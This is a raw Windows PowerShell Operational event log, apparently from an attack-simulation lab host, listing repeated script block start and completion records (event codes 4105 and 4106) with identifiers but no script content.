Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026111
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026110
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026109
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026108
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026088
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026087
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026082
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026081
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
